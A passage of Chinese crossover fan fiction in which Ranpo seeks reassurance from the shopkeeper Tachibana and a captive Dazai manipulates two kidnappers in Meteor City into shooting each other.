“森先生说，我这种人去了哪都会被人嫌弃，确实是这样，大家都害怕我，我是不被任何人理解的怪物，只有在揭露别人秘密，看到他们惊恐的脸时会感到开心。但是，店长，你不一样，你一无所有，什么都不会，你需要我。” 他越说越起劲，表情从落寞到激动，手舞足蹈地把自己哄好了，睁开的翠绿眼眸的闪烁着兴奋。 “就是这样，店长，你这样的笨蛋，没有我根本活不下去！” 江户川乱步本来不是很高兴。 他很清楚是为什么，因为太宰治那句拥有了新的念能力后兴高采烈的‘无敌’。 江户川乱步没有异能。 这是港口黑手党的首领，他的前任监护人森鸥外告诉他的。 他原本是警察的孩子，父母双双死于意外后，寄宿制警校收留了他，但因为和宿管产生冲突，乱步被赶了出来。后面几份工作，也因为抖落了领导的秘密而被除名，一路辗转流浪，暂时做邮递员的工作糊口，可惜很快也因为擅自扔掉收件人不需要的信件被开除了。 江户川乱步不明白，为什么明明他只是说了人人都知道的事情，大人们就和踩了电线一样愤怒呢？ 然后，他被彼时还是地下黑医的森鸥外发现了。 他知道了异能者的存在。异能者是特别的，他们拥有独特的天赋。 “我也是异能者吗？”江户川乱步问，“因为我好像……和周围的人都不一样，我能看穿他们不知道的东西。” 但森鸥外说：“你没有异能，你只是个普通人。” 乱步：“欸？” 森先生告诉他，他能看透别人，是因为那些人都是蠢货。但异能者也没什么了不起的，去恨异能者，打倒他们，把他们踩在脚下，让任何人都不敢再因为被他揭露了秘密而伤害他，成为凌驾一切的超越者，这就是他存在的意义。 所以江户川乱步没有异能，当然也就没有念能力。 但太宰治有。他不高兴。 就像双胞胎中只有一个孩子得到了玩具，另一个因为塑胶过敏只能抱着旧的布娃娃躲在一边哭泣。 但是，没关系，因为塑胶过敏的孩子可以获得大人更多的偏爱。 江户川乱步目光灼灼，盯着橘相月：“对吧？店长。我是特别的吧？对你来说。” 虽然还没搞懂发生了什么事，但橘相月点点头：“没有乱步，我根本做不了首领，无论有多少家人，对我来说，你都是最重要的。”因为是第一个啊。 “我就是要听这个！”江户川乱步高兴地从台阶上跳起来，兴奋大叫，“店长，我们去吃午饭吧！” “啊……今天在外面吃吧？”橘相月还以为要费一番事才能把人带回去，所以没准备午餐。 “随便啦。”江户川乱步心情很好，一马当先地矫健几步冲上河堤，影子拉长在柔软的草地上画了个人形，他叉着腰，看刚刚站起身的红发青年，举爪子宣布，“我要吃可以让肚子热乎乎的东西！” “我记得邻居太太提过附近有家很好吃的传统料理店，应该就在附近。”橘相月面板上有鲁比安纳的详细地图，不怕找不到地方，但还有一件事没解决，这也是他过来的初衷。 青年深吸一口气，犹豫片刻，才开口：“乱步。” “嗯？” “我也是普通人。” 江户川乱步似乎没听见，蹦蹦跳跳跑在最前面，喋喋抱怨着：“我都快饿死了，店长，早饭没能吃到，还被蠢狗舔了一口，好多口水，去河里洗了好久，脏死了……” 不过很快就因为不认路又折返回来，强硬拽着橘相月加快步伐，因为他现在超级饿。 * “这是给人吃的东西吗！” 瓷盘在墙上摔得四分五裂，迸飞的碎片掉到地上，又被反作用力推着滑动几米，才失去动能停下。 太宰治坐在盖了一层粗麻布的旧轮胎上，两条修长的腿交叠，优雅的像坐着天鹅绒沙发，一举一动都透露着良好教养，只是这小少爷脾气委实差劲，眉头紧蹙，脱口的话也刻薄。 “这种垃圾我家看门狗都不吃！别想糊弄我。” 莫西干头弯腰捡起刚被打飞的半块手掰面包，拍拍沾上的灰尘，小心收起来，拳头紧握，显然在发火边缘。旁边的瘦高男子知道同伴是什么性格，一把推开他，警告道。 “打坏了可就不值了，而且还没套到他家里管家的电话呢。” 看在钱的份上，莫西干头忍下来，他在心里发誓，等榨干这小子的价值，一定把他卖给最臭名昭著的老板。 但谁知道这养尊处优的少爷要吃什么山珍海味，流星街被 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瘦高男子眼疾手快地弯下腰，那罐头不偏不倚砸中后面的莫西干头额头，实打实的钝器攻击，一下让人头破血流、气血上涌，本就脾气暴躁的莫西干头终于忍不下去了，拔出枪就朝太宰治冲过来。 “我要杀了你，浑小子！” 瘦高男子暗道不好，他知道同僚是个什么脾气，这看着羸弱清瘦的少年百分百没命，也顾不上瞒太宰治了：“想想戒尼，只要把这小子买个好价钱，我们就能投靠干部，离开这个鬼地方了！” 太宰治灵活向后躲，边躲边大声嚷嚷：“你竟然打算把我卖掉，我不是给你宝石了吗，你还答应我一定会想办法把这只会发飙的蠢货支开呢，马吉尔！我再给你加一亿，杀了他！” 本来稍微冷静的莫西干头：！ “你们什么时候……”一身肌肉块快赶上同伴两个人的壮汉双目猩红，“我说为什么你指使我去拿面包，原来是为了独吞宝石，还要杀了我！” 瘦高男子瞳孔地震，不可思议地为自己辩解：“根本没有那回事！是这小子在挑拨离间！” “他连你名字都知道了，你还想骗我！” “是他问的……” 瘦高男子话没说完被正面狠狠砸了一枪托，鼻梁骨瞬间断裂，他也上了火气，一圈砸中同伴腹部，但还有点理智，“你这个蠢货，给老子想清楚！你出去才多久，我们怎么可能交易的那么快！” 莫西干头什么都听不见，腹部的疼痛和背后太宰治挑衅的目光让他气疯了脑袋：“叛徒！” 他尖啸着，扣动扳机。 瘦高男子身体向左侧偏移了几厘米，血花四溅，子弹在他左腹开了个洞。不是他自己反应迅速，而是身后的太宰治拽了他一把。 ‘pa’ 太宰治做了个拟声口型。 是瘦高男子脑中那根弦断裂的声音。 他摸到手边的枪，已经上好膛，只待手指微微一扣，面部的剧痛与被侮辱冤枉带来的羞愤就可以化解。 “嘭——” 尘埃落定。 莫西干头趴伏在血泊中，盯着死不瞑目的瘦高男子，‘赫赫’声从鲜血淋漓的牙缝溢出。 “我……赢了……” “赢什么？” 一只皮鞋出现在他视野中。 莫西干头艰难抬头，映入眼帘的是一张笑盈盈的脸。少年优越的五官上哪还有半分桀骜愚蠢，那双鸾色眸子居高临下，含着属于上位者的淡淡轻蔑与嘲讽。